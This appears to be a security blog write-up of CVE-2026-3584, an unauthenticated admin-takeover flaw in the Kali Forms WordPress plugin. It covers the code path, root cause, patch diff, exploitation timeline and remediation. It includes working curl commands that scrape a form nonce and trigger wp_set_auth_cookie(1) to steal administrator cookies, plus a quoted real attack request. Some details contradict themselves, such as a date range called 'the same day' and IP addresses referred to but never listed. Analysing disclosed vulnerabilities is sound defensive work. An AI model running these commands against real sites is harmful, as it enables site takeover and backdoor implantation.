Kali Forms WordPress plugin banner

CVE-2026-3584: Kali Forms Unauthenticated RCE & Admin Takeover

CVE-2026-3584 is a CVSS 9.8 Critical unauthenticated Remote Code Execution vulnerability in the Kali Forms WordPress plugin (Contact Form & Drag-and-Drop Builder). By submitting a crafted form request — no login required — an attacker can call wp_set_auth_cookie(1) and receive a live WordPress administrator session cookie in the response. This gives the attacker full site takeover in a single HTTP request. Active mass exploitation has been recorded, with over 312,200 blocked attempts since public disclosure.

Vulnerability Summary

FieldValue
Plugin NameKali Forms — Contact Form & Drag-and-Drop Builder
Plugin Slugkali-forms
CVE IDCVE-2026-3584
CVSS Score9.8 (Critical)
Vulnerability TypeUnauthenticated Remote Code Execution → Authentication Bypass → Admin Takeover
Bug Bounty$2,145.00
Affected Versions<= 2.4.9
Patched Version2.4.10
PublishedMarch 20, 2026
ResearcherISMAILSHADOW
Wordfence AdvisoryLink

Description

The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the form_process function. This is due to the prepare_post_data function mapping user-supplied keys directly into internal placeholder storage, combined with the use of call_user_func on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.

Wordfence blocked 96,798 attacks targeting this vulnerability in the 24 hours following public disclosure.

Technical Analysis

Vulnerable Code Path

1. Hook registration (unauthenticated AJAX endpoint)

Inc/Frontend/class-form-processor.php, lines 87–88:

add_action('wp_ajax_nopriv_kaliforms_form_process', [$this, 'form_process']);

The nopriv action means the form_process handler is reachable by any unauthenticated visitor via:

POST /wp-admin/admin-ajax.php?action=kaliforms_form_process

2. Nonce exposed to all visitors

Inc/Frontend/class-form-shortcode.php, line 300:

wp_localize_script('kaliforms-frontend', 'KaliFormsObject', [
    'ajaxurl'    => esc_url(admin_url('admin-ajax.php')),
    'ajax_nonce' => wp_create_nonce($this->slug . '_nonce'),   // ← exposed
    ...
]);

Whenever a page containing a Kali Forms shortcode is rendered — even for logged-out visitors — the nonce kaliforms_nonce is written into the page’s JavaScript as KaliFormsObject.ajax_nonce. Any attacker can obtain this nonce with a simple HTTP GET.

3. Callable placeholders seeded from GeneralPlaceholders

Inc/Utils/class-generalplaceholders.php, lines 41–49:

$placeholders = [
    '{sitetitle}'       => get_bloginfo('name'),
    '{tagline}'         => get_bloginfo('description'),
    ...
    '{entryCounter}'    => 'KaliForms\Inc\Utils\General_Placeholders_Helper::count_form_entries',
    '{thisPermalink}'   => 'KaliForms\Inc\Utils\General_Placeholders_Helper::get_current_permalink',
    '{submission_link}' => 'KaliForms\Inc\Utils\Submission_Action_Helper::get_submission_link',
];

Three values are stored as PHP callable strings (class::method). The plugin deliberately defers these so it can resolve their values late in the request cycle via call_user_func.

4. User-supplied keys overwrite callable placeholders

Inc/Frontend/class-form-processor.php, prepare_post_data(), lines 334–349:

public function prepare_post_data($data)
{
    $prepared_maps = $this->setup_field_map();
    $this->field_type_map     = $prepared_maps['map'];
    $this->advanced_field_map = $prepared_maps['advanced'];

    // Seeds placeholders, including the three callable entries above
    $this->placeholdered_data = array_merge(
        (new GeneralPlaceholders())->general_placeholders,
        (new UserPlaceholders())->placeholders,
        $this->placeholdered_data
    );

    $data = array_merge($data, $this->_get_product_fields($data));

    foreach ($data as $k => $v) {       // $data comes from stripslashes_deep($_POST['data'])
        $type = 'textbox';
        if (isset($this->field_type_map[$k]) && !empty($this->field_type_map[$k])) {
            $type = $this->field_type_map[$k];
        }
        $this->_run_placeholder_switch($type, $k, $v);
    }
    ...
}

Every key in $_POST['data'] is iterated — including keys that do not correspond to any real form field. There is no check that $k belongs to the form’s defined field set.

_run_placeholder_switch() (default case, line 643):

$this->placeholdered_data['{' . $k . '}'] = is_array($v)
    ? implode($this->get('multiple_selections_separator', ','), $v)
    : sanitize_text_field($v);

If an attacker submits data[entryCounter]=wp_set_auth_cookie, then:

$this->placeholdered_data['{entryCounter}'] = 'wp_set_auth_cookie'

The string wp_set_auth_cookie survives sanitize_text_field because it contains only alphanumeric characters and underscores.

5. Overwritten callable is invoked via call_user_func

Inc/Frontend/class-form-processor.php, _save_data(), lines 696–704:

if (isset($this->placeholdered_data['{entryCounter}'])) {
    $this->placeholdered_data['{entryCounter}'] =
        call_user_func($this->placeholdered_data['{entryCounter}'], $this->post->ID);
}
if (isset($this->placeholdered_data['{thisPermalink}'])) {
    $this->placeholdered_data['{thisPermalink}'] =
        call_user_func($this->placeholdered_data['{thisPermalink}']);    // ← NO arguments
}

With the attacker’s value in place and data[formId]=1:

call_user_func('wp_set_auth_cookie', 1)
// Sets valid WordPress admin auth cookies for User ID 1

Root Cause

Two independent failures combine into a critical exploit chain:

  1. Missing field whitelist in prepare_post_data — The loop over $_POST['data'] iterates ALL submitted keys without verifying that each key matches a real form field. An attacker can inject arbitrary keys, including those that shadow internal callable placeholder names.

  2. Deferred call_user_func on placeholder values without trust validation_save_data blindly calls call_user_func on whatever is stored in those placeholder slots. Nothing stopped user-controlled strings from getting there.

Controls That Failed

Two existing defences were in place but neither stopped the attack.

Attack Impact

With both controls bypassed, the damage is severe.

An unauthenticated attacker can invoke any PHP callable that:

The {entryCounter} path is the critical one. Because the attacker controls formId, they control the integer passed to call_user_func. This enables the following confirmed attack chain observed in the wild:

wp_set_auth_cookie(1) → Instant admin takeover

From the admin panel, attackers have been observed editing the active theme’s functions.php to inject persistent backdoor/malware code.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Obtain the nonce from the public form page

The nonce kaliforms_nonce is generated server-side and injected into every page that renders a Kali Forms shortcode, as KaliFormsObject.ajax_nonce:

NONCE=$(curl -s https://target.example.com/contact/ \
  | grep -oP '"ajax_nonce"\s*:\s*"\K[^"]+')

echo "Nonce: $NONCE"

No authentication is required — this is a standard GET request.

Step 2: Send the authentication-bypass payload

Submit a POST to the WordPress AJAX endpoint with:

curl -v -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
  --data-urlencode "action=kaliforms_form_process" \
  --data-urlencode "data[formId]=1" \
  --data-urlencode "data[nonce]=${NONCE}" \
  --data-urlencode "data[entryCounter]=wp_set_auth_cookie"

This triggers call_user_func('wp_set_auth_cookie', 1) — WordPress immediately sets valid administrator authentication cookies in the HTTP response.

Observed real-world attack request (from Wordfence):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&data[formId]=1&data[nonce]=66ddddb2b7&data[entryCounter]=wp_set_auth_cookie

Step 3: Use the admin session to inject malware

# Extract the auth cookies from the response
COOKIE=$(curl -s -D - -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
  --data-urlencode "action=kaliforms_form_process" \
  --data-urlencode "data[formId]=1" \
  --data-urlencode "data[nonce]=${NONCE}" \
  --data-urlencode "data[entryCounter]=wp_set_auth_cookie" \
  | grep -i "set-cookie")

echo "Admin cookies: $COOKIE"
# Use these cookies to authenticate to wp-admin and edit functions.php

Expected Result

The AJAX response sets WordPress admin authentication cookies (wordpress_logged_in_*, wordpress_sec_*). With those cookies, the attacker has full administrator access to the WordPress dashboard. From there, the Theme/Plugin Editor lets them edit functions.php and inject persistent PHP backdoors.

Verification

  1. Check the Set-Cookie headers in the response for wordpress_logged_in_ cookies
  2. Use those cookies to access https://target.example.com/wp-admin/ — you should be logged in as administrator
  3. On a patched installation (2.4.10), the same request returns a normal form response with no auth cookies set

Patch Analysis

Files Changed

Security-relevant changes in Inc/Frontend/class-form-processor.php:

ChangeLocation
Add field-key whitelist in prepare_post_dataLine 354
Add field-key whitelist in check_if_placeholders_changedLines 259–261
Add restore_internal_callable_placeholders() methodLines 395–409
Call restore_internal_callable_placeholders() at end of prepare_post_dataLine 395

Fix Explanation

The patch applies a defense-in-depth fix with two independent layers:

Layer 1 — Input whitelist (prevents overwrite at injection point)

Both prepare_post_data and check_if_placeholders_changed now skip any POST key that is not present in $this->field_type_map (the map of actual form fields defined by the site administrator):

// 2.4.10 — added in prepare_post_data and check_if_placeholders_changed
if (!array_key_exists($k, $this->field_type_map)) {
    continue;
}

None of entryCounter, thisPermalink, or submission_link are ever defined as form field names in field_type_map. Any data submitted under those keys is now silently dropped before _run_placeholder_switch is called.

Layer 2 — Callable restoration (prevents overwrite by filters)

Even after any custom filter on _form_placeholders runs, the new restore_internal_callable_placeholders() method hard-resets the three callable placeholder values back to their trusted default functions from GeneralPlaceholders:

private function restore_internal_callable_placeholders()
{
    $defaults = (new GeneralPlaceholders())->general_placeholders;
    foreach (['{entryCounter}', '{thisPermalink}', '{submission_link}'] as $key) {
        if (isset($defaults[$key])) {
            $this->placeholdered_data[$key] = $defaults[$key];
        }
    }
}

This second layer ensures that even if a future code path, filter, or edge case brings the overwrite back, the call_user_func targets remain the legitimate class methods.

The fix is complete. Both the injection point and the downstream execution target are independently hardened. The patch introduces no residual risk.

Code Diff (Key Changes)

--- a/Inc/Frontend/class-form-processor.php
+++ b/Inc/Frontend/class-form-processor.php
@@ -340,8 +351,12 @@ class Form_Processor
     $data = array_merge($data, $this->_get_product_fields($data));
     foreach ($data as $k => $v) {
+        if (!array_key_exists($k, $this->field_type_map)) {
+            continue;
+        }
         $type = 'textbox';
-        if (isset($this->field_type_map[$k]) && !empty($this->field_type_map[$k])) {
+        if (!empty($this->field_type_map[$k])) {
             $type = $this->field_type_map[$k];
         }
         $this->_run_placeholder_switch($type, $k, $v);
     }
+
+    $this->restore_internal_callable_placeholders();
     return $data;
 }

+private function restore_internal_callable_placeholders()
+{
+    $defaults = (new GeneralPlaceholders())->general_placeholders;
+    foreach (['{entryCounter}', '{thisPermalink}', '{submission_link}'] as $key) {
+        if (isset($defaults[$key])) {
+            $this->placeholdered_data[$key] = $defaults[$key];
+        }
+    }
+}

Active Exploitation

This vulnerability is under active mass exploitation. Wordfence has blocked over 312,200 exploit attempts since public disclosure on March 20, 2026. Attackers drove a peak of mass exploitation April 4–10, 2026, the same day the free Wordfence firewall rule became available.

Indicators of Compromise

There are no clear or easily identifiable IoCs — attackers who gain admin access can clear log entries. If running a vulnerable version, review server access logs for POST requests to /wp-admin/admin-ajax.php with action=kaliforms_form_process originating from the IP addresses above.

The absence of matching log entries does not guarantee the site is clean. Look for:

Timeline

DateEvent
March 2, 2026Vulnerability reported to Wordfence Bug Bounty Program by ISMAILSHADOW
March 20, 2026Patched version 2.4.10 released; public disclosure by Wordfence
March 20, 2026Attackers begin exploiting the same day as disclosure
April 4–10, 2026Peak mass exploitation observed

Remediation

Update the kali-forms plugin to version 2.4.10 or later immediately.

If an immediate update is not possible:

References

  1. CVE-2026-3584 — CVE Record
  2. Wordfence Advisory — Kali Forms <= 2.4.9 Unauthenticated RCE
  3. Vulnerable source — class-form-processor.php L697 (tag 2.4.9)
  4. Patch changeset 3487024
  5. Wordfence Blog — Attackers Actively Exploiting Critical Vulnerability in Kali Forms Plugin

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee